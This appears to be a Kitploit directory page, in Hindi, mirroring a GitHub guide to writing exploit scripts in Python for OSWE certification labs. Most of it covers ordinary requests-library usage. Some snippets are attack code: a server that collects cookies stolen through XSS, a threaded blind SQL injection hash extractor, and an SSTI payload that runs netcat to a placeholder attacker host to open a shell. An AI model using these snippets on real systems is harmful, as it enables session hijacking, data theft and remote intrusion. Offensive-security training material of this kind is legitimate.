Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
उपकरण/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

रिपॉजिटरी देखें
5911122 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

OSWE के लिए एक्सप्लॉइट लेखन

पृष्ठभूमि

क्या

इस रिपॉज़िटरी में OSWE लैब्स और सर्टिफिकेशन परीक्षा में एक्सप्लॉइट स्क्रिप्ट लिखने से संबंधित उपयोगी स्निपेट्स और टिप्स की एक सूची है।

यहां कुछ उदाहरण कुछ कोडिंग प्रथाओं के विरुद्ध जा सकते हैं, लेकिन हमारा अंतिम लक्ष्य एक्सप्लॉइट स्क्रिप्ट को तेज़ और सही तरीके से लिखना है।

कोड स्निपेट्स अनुभाग शुरुआत करने के लिए एक अच्छी जगह है यदि आपको requests लाइब्रेरी का उपयोग करने का अनुभव नहीं है या आप Python में नए हैं। अन्यथा, बेझिझक पुनः प्रयोग योग्य कोड अनुभाग या टिप्स अनुभाग पर जाएं।

क्यों

  • हालांकि इस सर्टिफिकेशन पर कई राइट-अप्स, समीक्षाएं और नोट्स मौजूद हैं, कुछ ही संसाधन विशेष रूप से एक्सप्लॉइट लिखने की प्रक्रिया पर केंद्रित हैं।
  • एक्सप्लॉइट स्क्रिप्ट लिखना कठिन हो सकता है, खासकर उन लोगों के लिए जो Python में नए हैं या कोड के माध्यम से वेब एप्लिकेशन के साथ इंटरैक्ट करने का कम अनुभव रखते हैं।
  • कमजोरियों की पहचान करने और परीक्षा रिपोर्ट दस्तावेजित करने में लगने वाला समय काफी भिन्न हो सकता है, लेकिन एक्सप्लॉइट स्क्रिप्ट विकसित करने में लगने वाला समय न्यूनतम और स्थिर रखा जा सकता है यदि इसे अच्छी तरह से सीखा जाए।

विषय-सूची

  • OSWE के लिए एक्सप्लॉइट लेखन
    • पृष्ठभूमि
      • क्या
      • क्यों
    • विषय-सूची
    • कोड स्निपेट्स
      • प्रारंभिक टेम्पलेट
      • उपयोगी इम्पोर्ट्स
      • requests लाइब्रेरी का उपयोग करना
        • सबसे सरल HTTP अनुरोध भेजना
        • विभिन्न HTTP विधियों को निर्दिष्ट करना
        • HTTP प्रतिक्रिया पढ़ना
        • URL में क्वेरी स्ट्रिंग के रूप में डेटा भेजना (params argument का उपयोग करके)
        • बॉडी में क्वेरी स्ट्रिंग के रूप में डेटा भेजना (data argument का उपयोग करके)
        • बॉडी में JSON के रूप में डेटा भेजना (json argument का उपयोग करके)
        • बॉडी में फ़ाइल भेजना (files argument का उपयोग करके)
        • HTTP हेडर सेट करना (headers argument का उपयोग करके)
        • HTTP कुकीज़ सेट करना (cookies argument का उपयोग करके)

कोड स्निपेट्स

प्रारंभिक टेम्पलेट

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

उपयोगी इम्पोर्ट्स

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

requests लाइब्रेरी का उपयोग करना

सबसे सरल HTTP अनुरोध भेजना

root@kitploit:~
resp_obj = requests.get("https://github.com")

विभिन्न HTTP विधियों को निर्दिष्ट करना

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

HTTP प्रतिक्रिया पढ़ना

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

URL में क्वेरी स्ट्रिंग के रूप में डेटा भेजना (params argument का उपयोग करके)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

बॉडी में क्वेरी स्ट्रिंग के रूप में डेटा भेजना (data argument का उपयोग करके)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

बॉडी में JSON के रूप में डेटा भेजना (json argument का उपयोग करके)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

बॉडी में फ़ाइल भेजना (files argument का उपयोग करके)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

HTTP हेडर सेट करना (headers argument का उपयोग करके)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

HTTP कुकीज़ सेट करना (cookies argument का उपयोग करके)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

3XX रीडायरेक्ट का अनुसरण अक्षम करना (allow_redirects argument का उपयोग करके)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

असत्यापित HTTPS सर्वर के साथ इंटरैक्ट करना (verify argument का उपयोग करके)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

HTTP प्रॉक्सी के माध्यम से अनुरोध भेजना (proxies argument का उपयोग करके)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

एक Session बनाना

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

स्थायी कुकीज़ सेट करना

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

स्थायी हेडर सेट करना

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

समस्या निवारण

HTTP अनुरोधों के लिए Wireshark का उपयोग करें और फ़िल्टर करें

  1. Wireshark खोलें
  2. VPN इंटरफ़ेस चुनें (जैसे tun0)
  3. फ़िल्टर बार में http दर्ज करें।

HTTP अनुरोध की सामग्री प्रिंट करें

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

HTTP अनुरोध को Burp Suite के माध्यम से प्रॉक्सी करें और निरीक्षण करें

  1. Burp Suite खोलें
  2. "Proxy" टैब पर जाएं और "Intercept" को "On" पर सेट करें।

पुनः प्रयोग योग्य कोड

HTTP के माध्यम से फ़ाइलें सर्व करना

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

HTTP कुकीज़ चुराना

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

SQL इंजेक्शन की गति बढ़ाना

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

टिप्स

हर HTTP अनुरोध के बाद assert का उपयोग करके एक सैनिटी चेक करें

  • वेबशेल को ट्रिगर करने का प्रयास करने से पहले यह पकड़ें कि वेबशेल वास्तव में अपलोड हुई है या नहीं
  • प्रमाणित सुविधाओं का शोषण करने से पहले यह पकड़ें कि प्रमाणीकरण सफल रहा है या नहीं

उदाहरण:

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

प्रत्येक चरण के बाद सार्थक संदेश प्रिंट करें

  • शुरू/समाप्त की जा रही कार्रवाई या
  • प्राप्त किए गए कुकीज़/टोकन/फ़ाइलें/मान

उदाहरण:

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

प्रत्येक एक्सप्लॉइटेशन चरण को उसके अपने फ़ंक्शन में अलग करें

उदाहरण:

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

एक वैश्विक Session ऑब्जेक्ट बनाएं ताकि इसे हर फ़ंक्शन कॉल में स्पष्ट रूप से पास न करना पड़े

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

एक वैश्विक BASE_URL स्ट्रिंग बनाएं और उससे आवश्यक URLs बनाएं

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

सभी HTTP अनुरोधों को Burp Suite के माध्यम से जाने के लिए proxies argument का उपयोग किए बिना, चलाते समय HTTP_PROXY / HTTPS_PROXY environment variable सेट करें

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

पेलोड के सुरक्षित ट्रांसमिशन को सक्षम करने के लिए एन्कोडिंग/डिकोडिंग स्कीमें लागू करें

  • Base64
  • Hexadecimal

यदि पेलोड स्ट्रिंग में सिंगल (') और डबल दोनों quotes (") हों, तो उसे बनाने के लिए """ का उपयोग करें

उदाहरण:

root@kitploit:~
payload = """This is a '. This is a "."""

मल्टीथ्रेडिंग का उपयोग करके SQL इंजेक्शन की गति बढ़ाएं

देखें SQL इंजेक्शन की गति बढ़ाना.

प्रमाणित सुविधाओं के लिए एक्सप्लॉइट विकसित करते समय प्रमाणित उपयोगकर्ता की कुकी को हार्डकोड करें

खासकर यदि प्रमाणित सत्र प्राप्त करने के लिए कई समय लेने वाले चरण करने पड़े हों।

उदाहरण:

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

यदि पेलोड में बहुत अधिक कर्ली ब्रेसेज़ ({}) हों, तो f-strings (f"") या str.format का उपयोग करने से बचें

प्रत्येक कर्ली ब्रेस को एस्केप करने के लिए उसे दोगुना करना परेशानी भरा और त्रुटि-प्रवण हो सकता है। इसके बजाय सरल प्लेसहोल्डर का उपयोग करें और .replace() करें!

उदाहरण:

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
टूल डाउनलोड करें
  • 3XX रीडायरेक्ट का अनुसरण अक्षम करना (allow_redirects argument का उपयोग करके)
  • असत्यापित HTTPS सर्वर के साथ इंटरैक्ट करना (verify argument का उपयोग करके)
  • HTTP प्रॉक्सी के माध्यम से अनुरोध भेजना (proxies argument का उपयोग करके)
  • एक Session बनाना
  • स्थायी कुकीज़ सेट करना
  • स्थायी हेडर सेट करना
  • समस्या निवारण
    • HTTP अनुरोधों के लिए Wireshark का उपयोग करें और फ़िल्टर करें
    • HTTP अनुरोध की सामग्री प्रिंट करें
    • HTTP अनुरोध को Burp Suite के माध्यम से प्रॉक्सी करें और निरीक्षण करें
  • पुनः प्रयोग योग्य कोड
    • HTTP के माध्यम से फ़ाइलें सर्व करना
    • HTTP कुकीज़ चुराना
    • SQL इंजेक्शन की गति बढ़ाना
  • टिप्स
    • हर HTTP अनुरोध के बाद assert का उपयोग करके एक सैनिटी चेक करें
    • प्रत्येक चरण के बाद सार्थक संदेश प्रिंट करें
    • प्रत्येक एक्सप्लॉइटेशन चरण को उसके अपने फ़ंक्शन में अलग करें
    • एक वैश्विक Session ऑब्जेक्ट बनाएं ताकि इसे हर फ़ंक्शन कॉल में स्पष्ट रूप से पास न करना पड़े
    • एक वैश्विक BASE_URL स्ट्रिंग बनाएं और उससे आवश्यक URLs बनाएं
    • सभी HTTP अनुरोधों को Burp Suite के माध्यम से जाने के लिए proxies argument का उपयोग किए बिना, चलाते समय HTTP_PROXY / HTTPS_PROXY environment variable सेट करें
    • पेलोड के सुरक्षित ट्रांसमिशन को सक्षम करने के लिए एन्कोडिंग/डिकोडिंग स्कीमें लागू करें
    • यदि पेलोड स्ट्रिंग में सिंगल (') और डबल दोनों quotes (") हों, तो उसे बनाने के लिए """ का उपयोग करें
    • मल्टीथ्रेडिंग का उपयोग करके SQL इंजेक्शन की गति बढ़ाएं
    • प्रमाणित सुविधाओं के लिए एक्सप्लॉइट विकसित करते समय प्रमाणित उपयोगकर्ता की कुकी को हार्डकोड करें
    • यदि पेलोड में बहुत अधिक कर्ली ब्रेसेज़ ({}) हों, तो f-strings (f"") या str.format का उपयोग करने से बचें